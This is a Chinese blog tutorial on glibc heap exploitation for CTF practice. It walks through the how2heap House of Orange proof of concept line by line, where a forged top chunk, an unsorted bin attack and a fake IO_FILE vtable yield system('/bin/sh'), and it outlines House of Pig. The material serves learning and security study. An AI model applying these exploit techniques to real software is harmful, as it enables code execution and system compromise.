代码编织梦想

House of Orange 

House of Orange的利用背景在缺少free条件。为了达到free的效果,通过修改top chunk的size位,当malloc的空间大于top chunk时触发brk,使top chunk被放置在unsorted bin。

利用条件:

1.堆有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold。 默认为 128K大小。否则直接向系统要内存,不再通过top chunk。

2.sysmalloc对top chunk分配有如下检测

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

需要满足

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

ctfwiki给的示例还是非常简单的,讲解点在于,如果已申请0x20大小chunk,top chunk的fake chunk的fakesize需要像 0x0fe1、0x1fe1、0x2fe1、0x3fe1一样,完成4kb大小的对齐。

更详细的用法还是看how2heap

how2heap给出的是fsop的利用,也就是修改_IO_list_all指针。由于2.24及以后的检测,fake vtable便无法奏效了.

我们逐个解释步骤:

char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);//创建0x400大小chunk
top = (size_t *) ( (char *) p1 + 0x400 - 16); //获取top指向top chunk
top[1] = 0xc01; //修改top chunk的size
p2 = malloc(0x1000); //核心步骤,这一步导致top chunk进入unsortedbin,同时 brk一段空间

有一点需要注意,how2heap这样写到

 Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end 

 实际上,我们的new top与修改size前的top末端相连,而不是修改后的。

io_list_all = top[2] + 0x9a8;  //根据io_list_all与main_arena+88的偏移找到io_list_all地址
top[3] = io_list_all - 0x10; //修改bk,为unsorted bin attack做准备
memcpy( ( char *) top, "/bin/sh\x00", 8); //vtable中的_IO_overflow函数的第一个参数
                                          //是该文件的地址,所以假设overflow改为system,则正好            
                                          //则正好调用system("bin/sh")
top[1] = 0x61; //我们的unsortedbin地址与bins中存放smallchunk对应0x60大小的chunk的地址的偏移 
               //正好等于一个IO_FILE_plus与vtable项的地址的偏移
FILE *fp = (FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3; //绕过检测
size_t *jump_table = &top[12];       //这里地址其实没特殊要求,找一个我们伪造vtable的地方
jump_table[3] = (size_t) &winner;    //把伪造下,相对_IO_overflow的位置写上system函数地址
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;//在相对vtable指针的位置写上我 
                                                               //们刚刚想伪造vtable的地址 

 最后一步,详细讲解到底发生了什么。

malloc(10); //最后malloc触发,但是还是详细说一下,这一步后到底发生了什么吧
//首先,malloc后因为没有符合的smallbin或fastbin进入unsorted bin循环,这一步循环很重要
//1.由于我们的old top chunk现在在unsorted bin,所以首先发现这个chunk不符合
//于是该chunk被放入了small bin,还记得我们之前又修改了一次size值吧。
//2.该chunk被放入small bin的同时,由与我们修改了bk,造成unsorted bin attack
//导致_IO_list_all 被写入unsorted bin的地址。
//3.由于bk被更改,这下好了,由于该chunk不符合需要的大小,接着unsorted bin大循环搜索,下次unsorted 
//bin通过bck搜索,访问到了_IO_list_all 附近,这块附近再重复上面的动作还能正常吗?猜想会报错。
//4.开始报错,此处省略报错的步骤,但最终会通过_IO_list_all挨个遍历文件,再去调用每个文件的vtable
//中的overflow函数。
//5.试想一下,我们上述构造的,_IO_list_all被改成了unsorted bin的地址,这样一来,他就把unsorted 
//bin的地址错当是 _IO_2_1_stderr_的位置了,这里我搜了一下,看到的说法是如果fp->mode等值不符合
//要求,就会通过chains跳转到就下一个IO_FILE_plus。而我们的chain对应的值,由于我们上述第一步
//的samllbin操作,使其正好等于old top chunk的地址,也就是说,这里程序错把old top chunk当成
//_IO_2_1_stdout_,这一次由于我们设置好了相关项的值,其开始调用vtable中的overflow函数,而vtable
//的值被我们改了,其相对overflow函数也被更改为了system。所以开始调用system,而且,old top chunk的
//头位置被我们塞了bin/sh字符串,这下好了,正好调用了system(bin/sh),真是精妙绝伦的思路!

 这是ctfwiki上的图,可以看到,在出现error后调用了一系列最终到overflow函数。

 

我搜了一些文章,发现没有人把这块how2heap的例子详细讲解出来,而关于该利用方法的例题,又由于依附于题,导致看起来更加困难。此外how2heap都是英文,属实不友好。自己学的时候其实学的效果就很不理想。

经过上述详细步骤的讲解,我觉得不光是给自己看,给第一次学的人看也能够理解了。 

最后再附加一下iofile利用的注意事项吧:

2.23以前,vtable中的项可修改。2.23可通过fsop,也就是利用修改 _IO_list_all。

2.23以后,又由于新加了vtable指针中的地址是否是正常的地址而使修改_IO_list_all无法进行,但同时可以利用_IO_str_jumps再度使用。

House of Pig

House of Pig 是一个将 Tcache Statsh Unlink+ Attack 和 FSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31 及以后的新版本 libc 并且程序中仅有 calloc 时。 

  利用流程:

  1. 进行一个 Tcache Stash Unlink+ 攻击,把地址 __free_hook - 0x10 写入 tcache_pthread_struct。由于该攻击要求 __free_hook - 0x8 处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。
  2. 再进行一个 large bin attack,修改 _IO_list_all 为一个堆地址,然后在该处伪造 _IO_FILE 结构体。
  3. 通过伪造的结构体触发 _IO_str_overflow getshell。

ctfwiki的例题XCTF-FINAL-2021 house of pig,还是有些难度,目前水平有限,复杂的有些看不懂,都后面逐渐练起来题,有一定做题能力了再看吧。先记录一下。

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u014377094/article/details/124607381

lctf 2016 pwn200(house of spirit)_qq_33528164的博客-爱代码爱编程

L-CTF 2016 pwn200 漏洞简介 The house of Spirit The House of Spirit is a little different from other attacks in

house_of_spirit && 2014_hack.lu_oreo例题分析_pwnpanda的博客-爱代码爱编程

2014_hack.lu_oreo 相关知识点: Fastbin Attack – House of Spirit 相关链接: 2014_hack.lu_oreo下载 CTF Wiki Fastbin Attack

house of orange_inquisiter的博客-爱代码爱编程

house of orange 这个技术的特点是对堆的伪造不用想普通的UAF 在释放内存后进行伪造内存,而是利用堆分配的特性把未分配的内存触发到fastbin中,直接malloc后就可以触发漏洞。也就是不用free这一步的

【pwn-heap学习】house of spirit 学习笔记_tr@cer的博客-爱代码爱编程

House of Spirit 原理 House of Spirit是Fastbin Attack的其中一种攻击手段。这种攻击手段是变量覆盖和堆管理机制的组合利用,其核心操作是在目标位置处伪造 fastbin chunk,

pwn学习之house of系列_pipixia233333的博客-爱代码爱编程_8个houseof系列

最近 在wiki学习了 house of 这些东西 但是一直都没有找到联系的地方, 然后 在一篇博客上发现了上面有讲东西并且练习题 很好 所以我就拿来联系了一把  并且记录一下 大概思路 house of spirit     这个wiki上好像没有   但是利用方法其实还是差不多的 这个主要就是 fastbin的利用   伪造一个堆块 然后

攻防世界PWN之house_of_grey题解-爱代码爱编程

house_of_grey 首先,检查一下程序的保护机制,发现保护全开 然后,我们用IDA分析一下 发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取 程序有个缓冲区溢出漏洞 可以溢出,修改v8指针,然后我们就可以利用功能4,实现任意地址写 由于可以读取除了flag之外的文件,那么我们可以读取/proc/s

House of orange-爱代码爱编程

House of orange因一道同名的题而来,它是在程序没有调用free函数的情况下利用其它漏洞结合IO_FILE来达到利用。 首先利用漏洞修改top chunk的size,然后申请一个比size大的堆,满足一定条件,这个top chunk就会被释放到unsorted bin里。利用unsorted bin attack,将__IO_list_all

攻防世界PWN之Poisonous_Milk(认清vector的结构+house of orange利用)-爱代码爱编程

Poisonous_Milk 首先,我们检查一下程序的保护机制 然后,我们用IDA分析一下,发现是c++写的程序,看起来复杂了很多,这些一大堆,作用只是打印菜单,那么我们把这个函数重命名为menu。 接下来,我们进入下一个函数查看,应该就是主功能区了。 为了便于分析,我们给函数重命名了 创建内容的函数里,最多输入86个字符

houseoforange_hitcon_2016(House of orange, unsorted bin attack,FSOP)-爱代码爱编程

目录 题目分析利用原理house of orangeFSOP漏洞利用Exp 题目分析 只有添加,显示,编辑三个功能,没有删除 添加函数,最多只能添加四次,每次添加会依次执行malloc(0x10),malloc(name_size),calloc(8),name_size最大为8 House结构体如下 struct Info{ int

BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)-爱代码爱编程

目录 题目分析漏洞利用Exp 题目分析 这题估计是house of storm利用的起源? 因为用这种办法直接就可以做通,后面还有rctf_2019_babyheap也需要用到house of storm,但是那题限制条件多多了 init()里先把fastbin禁用了 申请了0x13370000这块内存,并且做了初始化 初始化首先读入长度为

cscctf_2019_final_childrenheap(house of orange)-爱代码爱编程

cscctf_2019_final_childrenheap 首先,检查一下程序的保护机制 然后用IDA分析一下 Update功能存在一个null off by one 禁用了fastbin,因此不能fastbin attack。那么可以利用house of orange或者large bin attack,个人认为house of ora

[pwn][堆利用]house of spirit[例题:lctf2016_pwn200]-爱代码爱编程

House of spirit 实现目的 malloc分配到目标地址 实现条件 free的参数可控目标地址可以连续构造两个fake chunk的size域,需要地址对齐(即目标高低地址处均有可控区域) 实现方法 在目标地址伪造可以被释放到fastbin上的fake chunk伪造fake chunk的同时伪造好其下一个chunk(物理

BUUCTF pwn Runit&&RunitPlusPlus-爱代码爱编程

[BSidesCF 2019]Runit 查看保护 IDA查看程序流 读入buf并执行,那么可以写入shellcode 完整ex from pwn import * context(log_level='debug') #io=process("./runit") io=remote("node3.buuoj.cn",28430) io.rec

PWN-堆利用-House系列汇总-爱代码爱编程

PWN-堆利用-House系列汇总笔记,仅包含利用方式总结,大部分内容参考自 ctf-wiki、csdn、博客园等平台博主,相应CTF比赛例题可参考Buuctf、攻防世界等靶场,或者我的其他文章,这里不做演示。 学习House系列所有攻击手法之前,需了解 tcache、fastbin、unsortbin 等链表结构,以及内存的申请和释放详细过程,hous

house-of-spirit-pwn200-爱代码爱编程

前言 : 因为期末考试加上复习的原因,接近一个月没有做pwn题了,放寒假就回来在物理机上面装了个ubuntu(折腾了几天,不过装好了做题环境还是挺好用的),打算这个寒假学习完堆知识.来年好好上课(大三压力大!)有空打打比赛. 例题 : lctf2016_pwn200 house-of-spirit 利用条件: (1)想要控制的目标区域的上方空间与下

house of pig详解___asm { jmp rax }-爱代码爱编程

在复现这题之前需要了解一些前置知识:libc2.31下的largebin_attack,tcache_stashing_unlink plus以及高版本glibc下的IO_FILE攻击 首先看到libc2.31下的largebin_attack 0x1.libc2.31下的largebin_attack 跟随how2heap项目中的lar